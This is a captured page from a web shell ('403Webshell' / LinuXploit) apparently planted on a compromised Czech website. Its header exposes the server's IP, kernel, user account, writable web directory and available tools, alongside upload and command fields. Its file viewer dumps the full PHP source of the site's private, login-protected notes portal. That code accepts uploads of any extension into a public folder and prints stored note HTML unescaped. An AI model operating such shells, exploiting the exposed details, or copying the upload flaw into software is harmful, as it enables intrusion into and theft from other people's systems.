403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/jservices_cz/moje.php
<?php
declare(strict_types=1);

// Session název musí být nastaven PŘED načtením config.php (který spouští session_start)
session_name('jservices_moje');

require_once __DIR__ . '/config.php';

$chyba = '';

// Přihlášení
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['moje_login'])) {
    $username = trim((string) ($_POST['username'] ?? ''));
    $password = (string) ($_POST['password'] ?? '');

    $stmt = $pdo->prepare('SELECT id, password_hash FROM admin_users WHERE username = :u');
    $stmt->execute(['u' => $username]);
    $admin = $stmt->fetch();

    if ($admin && password_verify($password, $admin['password_hash'])) {
        session_regenerate_id(true);
        $_SESSION['moje_id'] = $admin['id'];
        header('Location: moje.php');
        exit;
    }
    $chyba = 'Nesprávné jméno nebo heslo.';
}

// Odhlášení
if (isset($_GET['odhlasit'])) {
    $_SESSION = [];
    session_destroy();
    header('Location: moje.php');
    exit;
}

$prihlaseni = !empty($_SESSION['moje_id']);

// ---- Zpracování akcí (pouze přihlášený) ----
if ($prihlaseni && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $akce = (string) ($_POST['akce'] ?? '');

    // Šanony
    if ($akce === 'pridat_sanon') {
        $stmt = $pdo->prepare('INSERT INTO moje_sanony (nazev, barva, ikona, razeni, poradi) VALUES (:n, :b, :i, :r, :p)');
        $stmt->execute([
            'n' => trim((string) ($_POST['nazev'] ?? '')),
            'b' => preg_match('/^#[0-9A-Fa-f]{6}$/', $_POST['barva'] ?? '') ? $_POST['barva'] : '#F5F4EF',
            'i' => trim((string) ($_POST['ikona'] ?? 'folder')),
            'r' => in_array($_POST['razeni'] ?? '', ['poradi','abc','datum'], true) ? $_POST['razeni'] : 'poradi',
            'p' => (int) ($_POST['poradi'] ?? 0),
        ]);
        header('Location: moje.php');
        exit;
    }

    if ($akce === 'upravit_sanon') {
        $stmt = $pdo->prepare('UPDATE moje_sanony SET nazev = :n, barva = :b, ikona = :i, razeni = :r, poradi = :p WHERE id = :id');
        $stmt->execute([
            'n'  => trim((string) ($_POST['nazev'] ?? '')),
            'b'  => preg_match('/^#[0-9A-Fa-f]{6}$/', $_POST['barva'] ?? '') ? $_POST['barva'] : '#F5F4EF',
            'i'  => trim((string) ($_POST['ikona'] ?? 'folder')),
            'r'  => in_array($_POST['razeni'] ?? '', ['poradi','abc','datum'], true) ? $_POST['razeni'] : 'poradi',
            'p'  => (int) ($_POST['poradi'] ?? 0),
            'id' => (int) ($_POST['id'] ?? 0),
        ]);
        header('Location: moje.php?sanon=' . ($_POST['id'] ?? ''));
        exit;
    }

    if ($akce === 'smazat_sanon') {
        $id = (int) ($_POST['id'] ?? 0);
        $pdo->prepare('DELETE FROM moje_polozky WHERE sanon_id = :id')->execute(['id' => $id]);
        $pdo->prepare('DELETE FROM moje_sanony WHERE id = :id')->execute(['id' => $id]);
        header('Location: moje.php');
        exit;
    }

    // Položky
    if ($akce === 'pridat_polozku') {
        $typ      = in_array($_POST['typ'] ?? '', ['poznamka', 'odkaz', 'soubor'], true) ? $_POST['typ'] : 'poznamka';
        $soubor   = '';
        $velikost = 0;

        if ($typ === 'soubor' && !empty($_FILES['soubor']['name'])) {
            $slozka = __DIR__ . '/assets/moje/';
            if (!is_dir($slozka)) mkdir($slozka, 0750, true);
            $ext    = strtolower(pathinfo($_FILES['soubor']['name'], PATHINFO_EXTENSION));
            $nazevS = uniqid('s_') . '.' . $ext;
            if (move_uploaded_file($_FILES['soubor']['tmp_name'], $slozka . $nazevS)) {
                $soubor   = 'assets/moje/' . $nazevS;
                $velikost = (int) $_FILES['soubor']['size'];
            }
        }

        $stmt = $pdo->prepare(
            'INSERT INTO moje_polozky (sanon_id, typ, nadpis, obsah, url, soubor, velikost, poradi)
             VALUES (:si, :ty, :na, :ob, :ur, :so, :ve, :po)'
        );
        $stmt->execute([
            'si' => (int) ($_POST['sanon_id'] ?? 0),
            'ty' => $typ,
            'na' => trim((string) ($_POST['nadpis'] ?? '')),
            'ob' => trim((string) ($_POST['obsah'] ?? '')),
            'ur' => trim((string) ($_POST['url'] ?? '')),
            'so' => $soubor,
            've' => $velikost,
            'po' => (int) ($_POST['poradi'] ?? 0),
        ]);
        header('Location: moje.php?sanon=' . ($_POST['sanon_id'] ?? ''));
        exit;
    }

    if ($akce === 'upravit_polozku') {
        $stmt = $pdo->prepare(
            'UPDATE moje_polozky SET nadpis = :na, obsah = :ob, url = :ur, poradi = :po WHERE id = :id'
        );
        $stmt->execute([
            'na' => trim((string) ($_POST['nadpis'] ?? '')),
            'ob' => trim((string) ($_POST['obsah'] ?? '')),
            'ur' => trim((string) ($_POST['url'] ?? '')),
            'po' => (int) ($_POST['poradi'] ?? 0),
            'id' => (int) ($_POST['id'] ?? 0),
        ]);
        header('Location: moje.php?sanon=' . ($_POST['sanon_id'] ?? ''));
        exit;
    }

    if ($akce === 'smazat_polozku') {
        $stmt = $pdo->prepare('SELECT soubor, sanon_id FROM moje_polozky WHERE id = :id');
        $stmt->execute(['id' => (int) ($_POST['id'] ?? 0)]);
        $pol = $stmt->fetch();
        if ($pol && $pol['soubor'] !== '') {
            $cesta = __DIR__ . '/' . $pol['soubor'];
            if (file_exists($cesta)) unlink($cesta);
        }
        $pdo->prepare('DELETE FROM moje_polozky WHERE id = :id')->execute(['id' => (int) ($_POST['id'] ?? 0)]);
        header('Location: moje.php?sanon=' . ($pol['sanon_id'] ?? ''));
        exit;
    }
}

// ---- Data ----
$sanony       = $prihlaseni ? $pdo->query('SELECT * FROM moje_sanony ORDER BY poradi ASC, id ASC')->fetchAll() : [];
$aktivniSanon = null;
$polozky      = [];
$upravPolozku = null;
$upravSanon   = null;

if ($prihlaseni && isset($_GET['sanon'])) {
    $sidGet = (int) $_GET['sanon'];
    foreach ($sanony as $s) {
        if ((int) $s['id'] === $sidGet) { $aktivniSanon = $s; break; }
    }
    if ($aktivniSanon) {
        $razeni  = $aktivniSanon['razeni'] ?? 'poradi';
        $orderBy = match($razeni) {
            'abc'   => 'nadpis ASC',
            'datum' => 'vytvoreno DESC',
            default => 'poradi ASC, vytvoreno DESC',
        };
        $stmt = $pdo->prepare("SELECT * FROM moje_polozky WHERE sanon_id = :id ORDER BY {$orderBy}");
        $stmt->execute(['id' => $aktivniSanon['id']]);
        $polozky = $stmt->fetchAll();
    }
}

if ($prihlaseni && isset($_GET['upravit_polozku'])) {
    $stmt = $pdo->prepare('SELECT * FROM moje_polozky WHERE id = :id');
    $stmt->execute(['id' => (int) $_GET['upravit_polozku']]);
    $upravPolozku = $stmt->fetch() ?: null;
    if ($upravPolozku && !$aktivniSanon) {
        foreach ($sanony as $s) {
            if ((int) $s['id'] === (int) $upravPolozku['sanon_id']) { $aktivniSanon = $s; break; }
        }
    }
}

if ($prihlaseni && isset($_GET['upravit_sanon'])) {
    foreach ($sanony as $s) {
        if ((int) $s['id'] === (int) $_GET['upravit_sanon']) { $upravSanon = $s; break; }
    }
}

function formatVelikost(int $b): string {
    if ($b < 1024) return $b . ' B';
    if ($b < 1048576) return round($b / 1024, 1) . ' KB';
    return round($b / 1048576, 1) . ' MB';
}

$barvy = ['#F5F4EF', '#EAF2FA', '#EAF3DE', '#FDF3E3', '#FCEBEB', '#F0E8FA', '#E8F4F8', '#FFF8E1'];
?>
<!DOCTYPE html>
<html lang="cs">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<title>Můj portál | J Services</title>
<link rel="stylesheet" href="assets/css/admin.css">
<style>
.moje-layout { display: flex; min-height: calc(100vh - 57px); }
.moje-sidebar {
    width: 240px;
    flex-shrink: 0;
    background: var(--bg-primary);
    border-right: 0.5px solid var(--border-tertiary);
    padding: 16px 0;
}
.moje-sidebar-nadpis {
    font-size: 11px;
    font-weight: 600;
    text-transform: uppercase;
    letter-spacing: 0.06em;
    color: var(--text-tertiary);
    padding: 0 16px 8px;
}
.sanon-link {
    display: flex;
    align-items: center;
    gap: 8px;
    padding: 9px 16px;
    font-size: 13.5px;
    color: var(--text-primary);
    text-decoration: none !important;
    border-left: 3px solid transparent;
}
.sanon-link:hover { background: var(--bg-tertiary); }
.sanon-link.aktivni { border-left-color: var(--text-info); background: var(--bg-info); color: var(--text-info); font-weight: 500; }
.sanon-tecka {
    width: 10px; height: 10px;
    border-radius: 50%;
    flex-shrink: 0;
}
.sanon-pridat {
    display: flex;
    align-items: center;
    gap: 8px;
    padding: 9px 16px;
    font-size: 13px;
    color: var(--text-tertiary);
    cursor: pointer;
    background: none;
    border: none;
    width: 100%;
    text-align: left;
    font-family: inherit;
}
.sanon-pridat:hover { color: var(--text-info); }

.moje-obsah { flex: 1; padding: 28px; overflow-y: auto; }

.polozka-karta {
    background: var(--bg-primary);
    border: 0.5px solid var(--border-tertiary);
    border-radius: var(--radius-lg);
    padding: 18px 20px;
    margin-bottom: 14px;
}
.polozka-karta .typ-badge {
    font-size: 11px;
    font-weight: 500;
    padding: 2px 8px;
    border-radius: var(--radius-md);
    margin-left: 8px;
}
.badge-poznamka { background: #F0E8FA; color: #6B3FA0; }
.badge-odkaz    { background: var(--bg-info); color: var(--text-info); }
.badge-soubor   { background: #EAF3DE; color: var(--text-success); }
.polozka-obsah {
    font-size: 14px;
    color: var(--text-secondary);
    line-height: 1.7;
    margin-top: 10px;
}
.polozka-obsah h1, .polozka-obsah h2, .polozka-obsah h3 { color: var(--text-primary); margin: 12px 0 6px; }
.polozka-obsah ul, .polozka-obsah ol { padding-left: 20px; }
.polozka-meta { font-size: 12px; color: var(--text-tertiary); margin-top: 10px; }

.polozka-toggle:hover { color: var(--text-info); }
.polozka-toggle:hover .toggle-sipka { stroke: var(--text-info); }

/* Typ přepínač */
.typ-prepinac { display: flex; gap: 8px; margin-bottom: 14px; }
.typ-prepinac label {
    flex: 1;
    text-align: center;
    padding: 8px;
    border: 0.5px solid var(--border-secondary);
    border-radius: var(--radius-md);
    cursor: pointer;
    font-size: 13px;
    font-weight: 400;
}
.typ-prepinac input { display: none; }
.typ-prepinac input:checked + span {
    font-weight: 500;
}
.typ-prepinac label:has(input:checked) {
    border-color: var(--text-info);
    background: var(--bg-info);
    color: var(--text-info);
}

.barva-vyber { display: flex; gap: 8px; margin-bottom: 14px; flex-wrap: wrap; }
.barva-volba { width: 28px; height: 28px; border-radius: 50%; border: 2px solid transparent; cursor: pointer; }
.barva-volba.aktivni { border-color: var(--text-primary); }

@media (max-width: 720px) {
    .moje-layout { flex-direction: column; }
    .moje-sidebar { width: 100%; border-right: none; border-bottom: 0.5px solid var(--border-tertiary); }
}
</style>
<!-- Quill WYSIWYG editor -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/quill/1.3.7/quill.snow.min.css">
<style>
.ql-container { font-family: var(--font-sans); font-size: 14px; min-height: 300px; border-radius: 0 0 var(--radius-md) var(--radius-md); }
.ql-toolbar { border-radius: var(--radius-md) var(--radius-md) 0 0; background: var(--bg-tertiary); }
.ql-toolbar, .ql-container { border-color: var(--border-secondary) !important; }
.ql-editor { min-height: 300px; line-height: 1.8; }
.ql-editor p { margin-bottom: 8px; }
.ql-editor h1, .ql-editor h2, .ql-editor h3 { margin: 16px 0 8px; color: var(--text-primary); }
</style>
</head>
<body>

<header class="admin-hlavicka">
    <div class="logo">J Services &ndash; můj portál</div>
    <?php if ($prihlaseni): ?>
    <div>
        <a href="admin.php" class="btn btn-sm">Administrace</a>
        <a href="moje.php?odhlasit=1" class="btn btn-sm">Odhlásit se</a>
    </div>
    <?php endif; ?>
</header>

<?php if (!$prihlaseni): ?>

<div class="prihlaseni-stranka">
    <div class="prihlaseni-karta">
        <div class="logo" style="text-align:center;margin-bottom:1.5rem;font-size:16px;font-weight:600;">Můj portál</div>
        <?php if ($chyba !== ''): ?>
            <div class="zprava-chyba"><?= e($chyba) ?></div>
        <?php endif; ?>
        <form method="post">
            <input type="hidden" name="moje_login" value="1">
            <label for="username">Uživatelské jméno</label>
            <input type="text" id="username" name="username" required autofocus>
            <label for="password">Heslo</label>
            <input type="password" id="password" name="password" required>
            <button type="submit" class="btn btn-primary" style="width:100%;">Přihlásit se</button>
        </form>
    </div>
</div>

<?php else: ?>

<div class="moje-layout">

    <aside class="moje-sidebar">
        <p class="moje-sidebar-nadpis">Šanony</p>
        <?php foreach ($sanony as $s): ?>
        <a href="moje.php?sanon=<?= (int) $s['id'] ?>" class="sanon-link <?= $aktivniSanon && (int) $aktivniSanon['id'] === (int) $s['id'] ? 'aktivni' : '' ?>">
            <span class="sanon-tecka" style="background:<?= e($s['barva']) ?>;border:1px solid rgba(0,0,0,0.1);"></span>
            <?= e($s['nazev']) ?>
        </a>
        <?php endforeach; ?>
        <a href="moje.php?novy_sanon=1" class="sanon-pridat">+ Nový šanon</a>
    </aside>

    <main class="moje-obsah">

        <?php if (isset($_GET['novy_sanon']) || $upravSanon): ?>

        <div class="karta" style="max-width:480px;">
            <h2 style="margin-bottom:16px;"><?= $upravSanon ? 'Upravit šanon' : 'Nový šanon' ?></h2>
            <form method="post">
                <input type="hidden" name="akce" value="<?= $upravSanon ? 'upravit_sanon' : 'pridat_sanon' ?>">
                <?php if ($upravSanon): ?>
                    <input type="hidden" name="id" value="<?= (int) $upravSanon['id'] ?>">
                <?php endif; ?>

                <label for="sanon_nazev">Název</label>
                <input type="text" id="sanon_nazev" name="nazev" required value="<?= e($upravSanon['nazev'] ?? '') ?>">

                <label>Barva</label>
                <div class="barva-vyber">
                    <?php foreach ($barvy as $b): ?>
                    <div class="barva-volba <?= ($upravSanon['barva'] ?? '#F5F4EF') === $b ? 'aktivni' : '' ?>"
                         style="background:<?= e($b) ?>;border:1px solid rgba(0,0,0,0.1);"
                         onclick="document.getElementById('barva_input').value='<?= e($b) ?>';document.querySelectorAll('.barva-volba').forEach(v=>v.classList.remove('aktivni'));this.classList.add('aktivni');">
                    </div>
                    <?php endforeach; ?>
                </div>
                <input type="hidden" name="barva" id="barva_input" value="<?= e($upravSanon['barva'] ?? '#F5F4EF') ?>">

                <label for="sanon_poradi">Pořadí</label>
                <input type="number" id="sanon_poradi" name="poradi" min="0" value="<?= (int) ($upravSanon['poradi'] ?? count($sanony) + 1) ?>">

                <label>Řazení položek</label>
                <div style="display:flex;gap:12px;margin-bottom:14px;">
                    <label style="display:flex;align-items:center;gap:6px;font-weight:400;cursor:pointer;">
                        <input type="radio" name="razeni" value="poradi" <?= ($upravSanon['razeni'] ?? 'poradi') === 'poradi' ? 'checked' : '' ?>>
                        Vlastní pořadí
                    </label>
                    <label style="display:flex;align-items:center;gap:6px;font-weight:400;cursor:pointer;">
                        <input type="radio" name="razeni" value="abc" <?= ($upravSanon['razeni'] ?? '') === 'abc' ? 'checked' : '' ?>>
                        Abecedně (A–Z)
                    </label>
                    <label style="display:flex;align-items:center;gap:6px;font-weight:400;cursor:pointer;">
                        <input type="radio" name="razeni" value="datum" <?= ($upravSanon['razeni'] ?? '') === 'datum' ? 'checked' : '' ?>>
                        Datum (nejnovější)
                    </label>
                </div>

                <div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap;">
                    <button type="submit" class="btn btn-primary"><?= $upravSanon ? 'Uložit' : 'Vytvořit šanon' ?></button>
                    <a href="moje.php<?= $upravSanon ? '?sanon=' . (int) $upravSanon['id'] : '' ?>" class="btn">Zrušit</a>
                </div>
            </form>

            <?php if ($upravSanon): ?>
            <form method="post" style="margin-top:12px;" onsubmit="return confirm('Smazat šanon a vše v něm?');">
                <input type="hidden" name="akce" value="smazat_sanon">
                <input type="hidden" name="id" value="<?= (int) $upravSanon['id'] ?>">
                <button type="submit" class="btn btn-sm btn-danger">Smazat šanon</button>
            </form>
            <?php endif; ?>
        </div>

        <?php elseif ($aktivniSanon): ?>

        <div style="display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;flex-wrap:wrap;gap:10px;">
            <div style="display:flex;align-items:center;gap:10px;">
                <div style="width:14px;height:14px;border-radius:50%;background:<?= e($aktivniSanon['barva']) ?>;border:1px solid rgba(0,0,0,0.1);"></div>
                <h1><?= e($aktivniSanon['nazev']) ?></h1>
            </div>
            <div style="display:flex;gap:8px;">
                <a href="moje.php?sanon=<?= (int) $aktivniSanon['id'] ?>&nova_polozka=1" class="btn btn-primary">+ Přidat položku</a>
                <a href="moje.php?upravit_sanon=<?= (int) $aktivniSanon['id'] ?>" class="btn btn-sm">Upravit šanon</a>
            </div>
        </div>

        <?php if (isset($_GET['nova_polozka']) || $upravPolozku): ?>

        <div class="karta" style="margin-bottom:24px;">
            <h2 style="margin-bottom:16px;"><?= $upravPolozku ? 'Upravit položku' : 'Nová položka' ?></h2>
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="akce" value="<?= $upravPolozku ? 'upravit_polozku' : 'pridat_polozku' ?>">
                <input type="hidden" name="sanon_id" value="<?= (int) $aktivniSanon['id'] ?>">
                <?php if ($upravPolozku): ?>
                    <input type="hidden" name="id" value="<?= (int) $upravPolozku['id'] ?>">
                <?php endif; ?>

                <?php if (!$upravPolozku): ?>
                <label>Typ položky</label>
                <div class="typ-prepinac">
                    <label><input type="radio" name="typ" value="poznamka" checked onchange="prepniTyp(this.value)"><span>📝 Poznámka</span></label>
                    <label><input type="radio" name="typ" value="odkaz" onchange="prepniTyp(this.value)"><span>🔗 Odkaz</span></label>
                    <label><input type="radio" name="typ" value="soubor" onchange="prepniTyp(this.value)"><span>📎 Soubor</span></label>
                </div>
                <?php else: ?>
                    <input type="hidden" name="typ" value="<?= e($upravPolozku['typ']) ?>">
                <?php endif; ?>

                <label for="polozka_nadpis">Nadpis</label>
                <input type="text" id="polozka_nadpis" name="nadpis" required value="<?= e($upravPolozku['nadpis'] ?? '') ?>">

                <div id="pole-obsah">
                    <label>Text</label>
                    <div id="quill-editor" style="background:#fff;"></div>
                    <input type="hidden" name="obsah" id="obsah-hidden">
                </div>

                <div id="pole-url" style="display:none;">
                    <label for="polozka_url">URL odkazu</label>
                    <input type="url" id="polozka_url" name="url" value="<?= e($upravPolozku['url'] ?? '') ?>" placeholder="https://...">
                </div>

                <div id="pole-soubor" style="display:none;">
                    <label for="polozka_soubor">Soubor</label>
                    <input type="file" id="polozka_soubor" name="soubor" style="margin-bottom:14px;">
                </div>

                <label for="polozka_poradi">Pořadí</label>
                <input type="number" id="polozka_poradi" name="poradi" min="0" value="<?= (int) ($upravPolozku['poradi'] ?? count($polozky) + 1) ?>">

                <div style="display:flex;gap:8px;flex-wrap:wrap;">
                    <button type="submit" class="btn btn-primary"><?= $upravPolozku ? 'Uložit změny' : 'Přidat' ?></button>
                    <a href="moje.php?sanon=<?= (int) $aktivniSanon['id'] ?>" class="btn">Zrušit</a>
                </div>
            </form>
        </div>

        <?php endif; ?>

        <?php if (count($polozky) === 0 && !isset($_GET['nova_polozka'])): ?>
            <p style="color:var(--text-secondary);">Šanon je prázdný. <a href="moje.php?sanon=<?= (int) $aktivniSanon['id'] ?>&nova_polozka=1">Přidejte první položku</a>.</p>
        <?php endif; ?>

        <?php foreach ($polozky as $pol): ?>
        <div class="polozka-karta">
            <div style="display:flex;align-items:flex-start;justify-content:space-between;gap:10px;flex-wrap:wrap;">
                <div class="polozka-toggle" onclick="prepniPolozku(this)" style="display:flex;align-items:center;gap:8px;cursor:pointer;flex:1;min-width:0;">
                    <svg class="toggle-sipka" width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" style="flex-shrink:0;transition:transform 0.2s;transform:rotate(-90deg);" aria-hidden="true"><polyline points="6 9 12 15 18 9"/></svg>
                    <span style="font-size:15px;font-weight:500;"><?= e($pol['nadpis']) ?></span>
                    <span class="typ-badge badge-<?= e($pol['typ']) ?>"><?= ['poznamka'=>'Poznámka','odkaz'=>'Odkaz','soubor'=>'Soubor'][$pol['typ']] ?></span>
                </div>
                <div style="display:flex;gap:6px;flex-shrink:0;">
                    <a href="moje.php?sanon=<?= (int) $aktivniSanon['id'] ?>&upravit_polozku=<?= (int) $pol['id'] ?>" class="btn btn-sm">Upravit</a>
                    <form method="post" style="display:inline;" onsubmit="return confirm('Smazat položku?');">
                        <input type="hidden" name="akce" value="smazat_polozku">
                        <input type="hidden" name="id" value="<?= (int) $pol['id'] ?>">
                        <button type="submit" class="btn btn-sm btn-danger">Smazat</button>
                    </form>
                </div>
            </div>

            <div class="polozka-obsah-obal" style="display:none;margin-top:12px;">
                <?php if ($pol['typ'] === 'poznamka' && $pol['obsah'] !== ''): ?>
                    <div class="polozka-obsah ql-editor" style="padding:0;"><?= $pol['obsah'] ?></div>
                <?php elseif ($pol['typ'] === 'odkaz' && $pol['url'] !== ''): ?>
                    <div class="polozka-obsah">
                        <a href="<?= e($pol['url']) ?>" target="_blank" rel="noopener"><?= e($pol['url']) ?></a>
                        <?php if ($pol['obsah'] !== ''): ?><p style="margin-top:6px;"><?= e($pol['obsah']) ?></p><?php endif; ?>
                    </div>
                <?php elseif ($pol['typ'] === 'soubor' && $pol['soubor'] !== ''): ?>
                    <div class="polozka-obsah">
                        <a href="<?= e($pol['soubor']) ?>" target="_blank" rel="noopener">⬇ Stáhnout soubor</a>
                        <span style="color:var(--text-tertiary);font-size:12px;margin-left:8px;"><?= formatVelikost((int) $pol['velikost']) ?></span>
                        <?php if ($pol['obsah'] !== ''): ?><p style="margin-top:6px;"><?= e($pol['obsah']) ?></p><?php endif; ?>
                    </div>
                <?php endif; ?>
                <p class="polozka-meta"><?= e(date('j. n. Y H:i', strtotime((string) $pol['vytvoreno']))) ?></p>
            </div>
        </div>
        <?php endforeach; ?>

        <?php else: ?>
        <div style="text-align:center;padding:60px 20px;color:var(--text-tertiary);">
            <p style="font-size:18px;margin-bottom:8px;">Vyberte šanon vlevo</p>
            <p style="font-size:14px;">nebo <a href="moje.php?novy_sanon=1">vytvořte nový</a></p>
        </div>
        <?php endif; ?>

    </main>
</div>

<script>
function prepniPolozku(el) {
    var karta  = el.closest('.polozka-karta');
    var obsah  = karta.querySelector('.polozka-obsah-obal');
    var sipka  = el.querySelector('.toggle-sipka');
    var otevreno = obsah.style.display !== 'none';
    obsah.style.display = otevreno ? 'none' : 'block';
    sipka.style.transform = otevreno ? 'rotate(-90deg)' : 'rotate(0deg)';
}

function prepniTyp(typ) {
    document.getElementById('pole-obsah').style.display  = typ === 'poznamka' ? '' : 'none';
    document.getElementById('pole-url').style.display    = typ === 'odkaz'    ? '' : 'none';
    document.getElementById('pole-soubor').style.display = typ === 'soubor'   ? '' : 'none';
}
</script>

<?php if ($aktivniSanon && (isset($_GET['nova_polozka']) || $upravPolozku)): ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/quill/1.3.7/quill.min.js"></script>
<script>
var quill = new Quill('#quill-editor', {
    theme: 'snow',
    modules: {
        toolbar: [
            [{ 'header': [1, 2, 3, false] }],
            ['bold', 'italic', 'underline', 'strike'],
            [{ 'color': [] }, { 'background': [] }],
            [{ 'list': 'ordered'}, { 'list': 'bullet' }],
            [{ 'indent': '-1'}, { 'indent': '+1' }],
            [{ 'align': [] }],
            ['link', 'blockquote', 'code-block'],
            ['clean']
        ]
    }
});

var quillObsah = <?= json_encode(($upravPolozku['obsah'] ?? '')) ?>;
if (quillObsah) {
    quill.clipboard.dangerouslyPasteHTML(quillObsah);
}

document.getElementById('quill-editor').closest('form').addEventListener('submit', function () {
    document.getElementById('obsah-hidden').value = quill.root.innerHTML;
});
</script>
<?php endif; ?>

<?php endif; ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit